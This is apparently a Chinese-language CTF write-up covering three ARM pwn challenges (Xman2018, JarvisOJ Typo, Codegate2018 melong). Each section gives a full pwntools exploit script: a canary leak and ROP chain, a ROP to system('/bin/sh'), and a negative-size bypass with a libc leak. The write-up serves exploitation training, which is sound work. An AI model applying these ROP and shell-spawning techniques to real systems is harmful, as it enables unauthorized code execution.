Xman2018-pwn
程序开启了canary保护,不过存在两次输入的情况,可以利用第一次的输入来带出canary的值,用于第二次输入时的溢出。
经过在gdb中的测试可得知前面填充0x18
个字符串,即可带出canary
的值
之后由于程序中存在system
和/bin/sh
字符串的原因,我们可以直接拼接rop来完成溢出
但前提是我们需要有足够的gadgets来保持堆栈平衡,而构造rop的结构则应该为
1 2
| R0 -> /bin/sh Pc -> system_plt
|
但是由于找不到pop r0
寄存器的原因,则只能迂回利用r7寄存器保存/bin/sh字符串,再通过mov r0,r7
来保存到r0 寄存器中
因此需要先找到下面三条gadgets
1 2 3
| pop_r3_pc = 0x000104a8 pop_r4_to_pc = 0x00010804 mov_r0_r7_call = 0x000107f4
|
最终的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.arch="arm" context.log_level = "debug"
fileName = "./pwn" sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", fileName])
elf = ELF(fileName) libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
sh.send("a" * 20) sh.recvuntil("\x61\x61\x61\x00") canary = u32(sh.recv(4)) sh.recv(4) success(hex(canary)) print(sh.recvuntil("Come"))
system = 0x00104FC binsh = 0x21044 pop_r3_pc = 0x000104a8 pop_r4_to_pc = 0x00010804 mov_r0_r7_call = 0x000107f4
payload = p32(pop_r4_to_pc) payload += p32(0) payload += p32(0) payload += p32(0) payload += p32(binsh) payload += p32(0) payload += p32(0) payload += p32(0) payload += p32(pop_r3_pc) payload += p32(system) payload += p32(mov_r0_r7_call) pay = b'A' * 24 + p32(canary) + p32(0xdeadbeef) + payload
sh.sendline(pay) sh.interactive()
|
JarvisOJ-Typo
首先是程序被剥离了符号表,但是通过程序中的/bin/sh
字符串的交叉引用可以推测出0x110b4
便是system函数
之后就是确定程序的溢出点,对此我们可以直接使用cyclic来在gdb中测试
同样的要先使用qemu-arm -g
加端口,在用gdb-multiarch
来打开gdb设置参数进行测试
最后得出偏移为112
之后我们使用ROPGadget工具来找到可以控制r0寄存器的gadgets
得到的是pop r0,r4,pc
,那么我们所应构造的rop结构则应为
Padding |
Pop_r0_r4_pc |
/bin/sh |
任意4字节 |
System |
注意:
在写exp调试时,可以通过pause来下断点 同时exp中的process要加上端口
最后再在gdb中continue即可断下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.arch="arm"
fileName = "./typo" sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", fileName])
elf = ELF(fileName) libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
binsh = 0x0006c384 pop_r0_r4_pc = 0x20904 system = 0x110B4 sh.sendafter("quit\n", "\n") sh.recvline() sh.recvuntil("\n") pause() payload = b"a"*112 payload += p32(pop_r0_r4_pc) payload += p32(binsh) payload += p32(binsh) payload += p32(system) sh.sendline(payload) sh.interactive()
|
[ret2libc]Codegate2018-melong
使用ida分析,乍一看似乎没什么漏洞点,但是仔细分析到选项4的write_diary
中
可以看到其read的参数都可以由用户来控制,那么便意味着我们可以控制其进行溢出
但是要执行到该函数的话,是需要条件的,一步步向上分析可以先看到 我们需要先让write_size
这个变量不能为0,而这个write_size的值则是由选项3中的PT函数控制的。
进到PT函数中,会让用户输入一个size,再拿由size申请的一块地址与exc2变量的值做比较,相等才可以进入该分支。
而这里的绕过ptr==exc2的方法原理很简单,我们可以输入一个负值的size,之后malloc(-x)的结果就不会成立,其ptr便会等于0,所以ptr便等于了exc2的同时size还能有一个较大的值用于后面的溢出。
之后就可以正常进行溢出了,但是需要注意,要实现控制pc需要在选项4中填充完数据后,再执行选项6才可以完成溢出
需要注意的两点
在第一次溢出完返回main函数的时候若要控制需要有28字节的填充数据用于覆盖r4-r10寄存器即 7*4=28(如果不确定具体是多少位,可以使用cyclic来测试)
不清楚为什么在使用libc.search搜索“/bin/sh”字符串得到的结果是这样的,而且不能用.next()方法
最后手动搜索,加上libc_base即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * context.arch="arm" context.log_level = "debug"
fileName = "./melong"
sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName]) elf = ELF(fileName) libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6") def checkBmi(height,weight): sh.recvuntil("Type the number:") sh.sendline("1") sh.sendlineafter("meters) : ",str(height)) sh.sendlineafter("kilograms) : ",str(weight)) def register(size): sh.recvuntil("Type the number:") sh.sendline("3") sh.sendlineafter("training?\n",str(size)) def write_daily(daily): sh.recvuntil("Type the number:") sh.sendline("4") sh.sendline(daily) sh.recvuntil("Type the number:") sh.sendline("6")
checkBmi(20,20) register(-10) puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr = elf.sym["main"] success("puts_got => 0x%x",puts_got) pop_r0_pc = 0x11bbc payload = b"a"*84 payload += p32(pop_r0_pc) payload += p32(puts_got) payload += p32(puts_plt) payload += b"a"*28 payload += p32(main_addr) write_daily(payload) sh.recvuntil("See you again :)\n") puts_addr = u32(sh.recv(4)) success("puts_addr => 0x%x",puts_addr)
libc_base = puts_addr - libc.sym["puts"] system_addr = libc.sym["system"]+libc_base
success("system_addr => 0x%x",system_addr) checkBmi(20,20) register(-1) payload = b"a"*84 payload += p32(pop_r0_pc) payload += p32(libc_base + 0x12121c) payload += p32(system_addr)
sh.recvuntil("Type the number:") sh.sendline("4") sh.sendline(payload) pause() sh.recvuntil("Type the number:") sh.sendline("6")
sh.interactive()
|